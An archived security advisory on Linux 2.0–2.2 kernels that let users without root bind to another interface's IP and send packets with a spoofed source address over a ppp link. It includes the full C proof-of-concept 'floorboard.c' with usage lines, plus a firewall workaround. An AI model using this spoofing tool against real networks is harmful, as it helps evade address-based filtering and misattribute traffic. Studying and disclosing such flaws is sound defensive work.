COMMAND
kernel
SYSTEMS AFFECTED
Linux
PROBLEM
Boo Hampshire posted following. This works on linux 2.2.13 and
is not related to the ip source forging with pppd. This works on
systems with poor/no firewall setup, pppd + shell users. It can
forge a source address (on your local ethernet sent over ppp
interface). This bug is caused by bind() in the kernel allowing
you to send off another interface. Code:
/************************************
floorboard.c
(note: when I refer to vhost, i mean virtual hosting, ip aliases,
or whatever).
I started off writing this source because I'm working on the Gemini IRCD,
which is basically going to replace Xnet's IRCD and I stumbled across
something really stupid.
Basically it was this:
You could bind to a vhost and send packets with that vhost IP. This is the
wonderful behaviour called "virtual hosting". Alot of IRC users no doubt
have access to shells containing a "virtual host" such as
"I.am.too.good.to.be.elite.com."
What many don't realise, is that this could be used to "spoof" under Linux
without superuser priv's.
For example, at home, with a LAN, IP Address of 10.0.0.1 on eth0. and a
modem.
Let's assume "dialup" has the IP of 203.x.x.x. (ppp0) Use the system call
bind() and use the IP of 10.0.0.1. (eth0)
Send the udp packets out to host, say, 203.x.x.9. (via ppp0)
Linux changes my IP to 10.0.0.1 (eth0) (as it should with vhost)
The user at 203.x.x.9 receives packets from 10.0.0.1
Do you see the problem now? Almost anyone who has linux on a LAN can have
their users spoof of the IP of 10.0.0.1 without root.
This isn't a major problem. But what if you configured your network card
differently and somehow this leads up to a different sort of problem?
This is probably not a major bug or an exploit, or maybe it was the
intention of "virtual hosting", but it does show that logic may be needed
in the way Linux and vhost/virtual hosting (also known as network ip aliases)
is treated.
Final note:
Whether this runs/works on anything other than Linux is not known. It is
quite possible this exploit/bug works on every other platform out there,
including Windows?
I'm leaving it at that, because it was, after all, meant to be a an ircd
socket library..
By the way, this source is licensed to you under GNU GPL, the latest
version.
e.g.
./floorboard target_ip any_port -v 10.0.0.1 any_port_greater_than_1024 -u
works in linux 2.0.36 (redhat 4.2), 2.2.5-* (redhat 6.0), 2.2.13 (redhat
6.0) and possibly any other kernels on systems with poor or no firewall
controls.
--
Dr/icebsd
drai2.geo@yahoo.com
http://www.2600.org.au
Thanks to:
nyisles for letting me make sure i was spoofing packets and not just
finding an error in tcpdump -i ppp0...
and Pyros for being the gimp that he is.
and Pho!@#$!@!@$#!$ fjear his eleet te(how do you spell technique?)
************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h> /* for gethostbyname() */
/* for connect()/socket() */
#include <sys/types.h>
#include <sys/socket.h>
/* for inet_aton, inet_ntoa, htons()/ntohs(), htonl() */
#include <netinet/in.h>
#include <arpa/inet.h>
typedef int SOCKET;
#define DEBUG
#define TCP_CONNECT 1
#define UDP_CONNECT 2
/* bind a socket to port/hostname .. hostname may be null, in which case
it uses INADDR_ANY.. returns -1 on fail or 0 on success */
/* Note: binding to port 0 means the same as INADDR_ANY except its for
ports (sort of useful to bind a host without a port) */
int bind_sock(SOCKET sock, char *host, int port)
{
struct sockaddr_in server;
struct hostent *hent;
memset(&server, 0, sizeof(server));
server.sin_port = htons(port);
server.sin_family = AF_INET;
/* find hostname or use INADDR_ANY */
if (host != NULL) {
if (find_hostname(&server, host) == -1) {
return -1;
}
}
else {
server.sin_addr.s_addr = INADDR_ANY;
}
if (bind(sock, (struct sockaddr*) &server, sizeof(struct sockaddr_in))
== -1) {
perror("bind");
return -1;
}
return 0;
}
/* find_hostname(), uses gethostbyname() to put the details into *serv,
finding *host... returns -1 on fail, 0 on success*/
int find_hostname(struct sockaddr_in *serv, char *host)
{
struct hostent *hent;
struct sockaddr_in server;
int i;
char *p;
#ifdef DEBUG
struct in_addr in;
printf("Finding host: %s\n", host);
#endif
memset(&server, 0, sizeof(server));
if (!inet_aton(host, &server.sin_addr)) {
if ((hent = gethostbyname(host))) {
memcpy(&server.sin_addr.s_addr, hent->h_addr_list[0],
hent->h_length);
#ifdef DEBUG
printf("Official name of host: %s\n", hent->h_name);
for (i = 0, p = hent->h_aliases[0]; p != NULL;
p=hent->h_aliases[++i]) {
printf("Alias (for host: %s): %s\n", host, p);
}
for (i = 0, p = hent->h_addr_list[0]; p != NULL;
p=hent->h_addr_list[++i]) {
memcpy(&in.s_addr, p, hent->h_length);
printf("IP aliases: %s\n",inet_ntoa(in));
}
#endif
}
else {
herror(host);
return -1;
}
}
#ifdef DEBUG
printf("Found host\n");
#endif
memcpy(&(serv->sin_addr), &server.sin_addr, sizeof(struct in_addr));
return 0;
}
/* make a connection using the socket, host and port ...
returns -1 on fail, the socket (sock) on success */
SOCKET make_connect(SOCKET sock, char *host, int port)
{
struct sockaddr_in server;
if (port < 0) {
printf("Invalid port number\n");
return -1;
}
memset(&server, 0, sizeof(server));
server.sin_port = htons(port);
server.sin_family = AF_INET;
/* find hostname */
if (find_hostname(&server, host) == -1) {
return -1;
}
/* make connection */
if (connect(sock, (struct sockaddr *) &server, sizeof(struct
sockaddr_in))
== -1) {
return -1;
}
return sock;
}
/* forces the program to create a socket using socket() and dies if that
fails.. */
SOCKET make_socket(int type, int protocol)
{
SOCKET sock;
/* create socket */
sock = socket(AF_INET, type, protocol);
if (sock == -1) {
perror("socket");
exit(1);
}
return sock;
}
/* make a tcp/udp connection, and bind the socket to a port if (vport)
exists */
SOCKET connect_sock(SOCKET sock, char *host, int port, char *vhost,
char *vport)
{
/* bind_sock() doesn't need to be checked, since it has its own error
messages using herror() .. and it isn't crucial so we dont need to die
on it. */
if (vport) {
if (vhost)
bind_sock(sock, vhost, atoi(vport));
else
bind_sock(sock, NULL, atoi(vport));
}
if (make_connect(sock, host, port) == -1) {
perror("connect");
close(sock);
exit(1); /* die */
}
return sock;
}
SOCKET connect_tcp(char *host, int port, char *vhost, char *vport)
{
SOCKET sock;
sock = make_socket(SOCK_STREAM, IPPROTO_IP);
return connect_sock(sock, host, port, vhost, vport);
}
SOCKET connect_udp(char *host, int port, char *vhost, char *vport)
{
SOCKET sock;
sock = make_socket(SOCK_DGRAM, IPPROTO_IP);
return connect_sock(sock, host, port, vhost, vport);
}
void check_param(char *s, char *option)
{
if (s == NULL) {
printf("ERROR %s: You didn't specify enough parameters for this \
option!\n", option);
exit(1);
}
}
void main(int argc, char **argv)
{
SOCKET sock;
int connected = 0;
int i;
char *vhost=NULL, *vport=NULL;
char *host;
int port;
int connecttype = TCP_CONNECT;
if (argc < 3) {
printf("Usage: %s <host> <port> [options]\n", argv[0]);
printf("Pre-connect options\n");
printf("-v <host> <port> bind to <vhost> and <port>\n");
printf("-b <port> bind to <port>\n");
printf("\n\n");
printf("Connect options\n");
printf("-t for tcp connect (default)\n");
printf("-u for udp connect\n");
printf("\n\n");
printf("You can only have one pre-connect and one connect \
option\n");
exit(1);
}
i = 3; /* start from the 3rd parameter */
if (argc >= 4) {
while (argv[i] != NULL) {
switch (argv[i][1]) {
case 'u': case 'U':
connecttype = UDP_CONNECT;
break;
case 't': case 'T':
connecttype = TCP_CONNECT;
break;
case 'v': case 'V':
i++;
vhost = argv[i++]; check_param(vhost, "-v");
vport = argv[i]; check_param(vport, "-v");
break;
case 'b': case 'B':
i++;
vport = argv[i]; check_param(vport, "-b");
break;
default:
printf("Unknown option: %s\n", argv[i]);
exit(1);
}
i++;
}
}
host = argv[1]; port = atoi(argv[2]);
if (connecttype == TCP_CONNECT)
sock = connect_tcp(host, port, vhost, vport);
else
sock = connect_udp(host, port, vhost, vport);
printf("Press return to send packets...\n");
fflush(stdout);
getchar();
while (1) {
sleep(1);
send (sock, "test", 4, 0);
}
close(sock);
exit(0);
}
SOLUTION
No fix available but a workaround is to use your firewall to deny
packets that don't belong on a given interface (ipfwadm -W option,
or whatever ipchains is). This isn't vulnerability. This is
required by posix, that bind should allow you to bind any specific
IP adress, not just 0.0.0.0:0. Many networking daemons rely on
this feature to provide some specific configuration twirks.
However if you don't feel comfortable that your users can bind
local ports, you may apply patch by route(?) which requires a user
to be in specific group to do so.. Alternatively you could just
`fix' socketcall from within a module.